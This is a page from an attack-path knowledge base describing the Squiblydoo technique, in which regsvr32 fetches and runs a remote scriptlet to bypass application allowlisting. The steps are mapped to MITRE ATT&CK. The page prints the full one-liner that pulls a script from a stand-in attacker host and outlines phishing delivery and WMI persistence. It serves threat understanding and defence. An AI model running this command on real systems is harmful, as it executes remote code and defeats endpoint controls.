Skip to content
attack.paths
Anmelden
← RegistryDossier · 5 steps · 4 edges

Squiblydoo: regsvr32 → remote SCT execution

regsvr32.exe /s /n /u /i:http://attacker/x.sct scrobj.dll. AppLocker / SRP often allow regsvr32 because it's signed Microsoft — attacker JS runs in its context.

Filed by AD Knowledge Base
§ Kill-chainDrag · zoom · scroll

§ Context

Assumed environment: target enforces application allowlisting that trusts signed Microsoft binaries. End user can run regsvr32 (true on every Windows endpoint).

§ Steps

  1. 01
    JS stager loads beaconExecution
    T1059— Command and Scripting Interpreter
  2. 02
    Deliver one-liner to userInitial Access
    T1566— Phishing
  3. 03
    Host attacker .sct on the webResource Development
    T1583— Acquire Infrastructure
  4. 04
    regsvr32 fetches + runs SCTExecution
    LOL-REGSVR32— regsvr32.exe /i Scriptlet (Squiblydoo)
  5. 05
    WMI event subscription persistencePersistence
    LOL-SCRCONS— scrcons.exe WMI Event Subscription

§ References

§ Frequently asked

What is the "Squiblydoo: regsvr32 → remote SCT execution" attack path?
regsvr32.exe /s /n /u /i:http://attacker/x.sct scrobj.dll. AppLocker / SRP often allow regsvr32 because it's signed Microsoft — attacker JS runs in its context. It chains 5 steps drawn from real-world offensive-security techniques.
What starting position does this attack require?
The first step is JS stager loads beacon (T1059) — a execution primitive. Assumed environment: target enforces application allowlisting that trusts signed Microsoft binaries.
What is the final impact of this kill-chain?
The final step lands on WMI event subscription persistence (LOL-SCRCONS), which falls under Persistence. From here, an operator typically pivots into post-exploitation or maintains persistence.
How can defenders detect or prevent this attack?
Detection and prevention vary per step. Refer to each linked MITRE ATT&CK entry under "References" — every technique on that page lists defensive controls, detection telemetry, and known threat-actor usage.

§ Related dossiers